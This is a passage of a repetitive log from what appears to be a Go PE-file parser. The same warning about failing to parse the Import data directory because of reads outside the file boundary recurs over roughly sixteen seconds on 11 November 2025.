data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:52:52+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:53:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 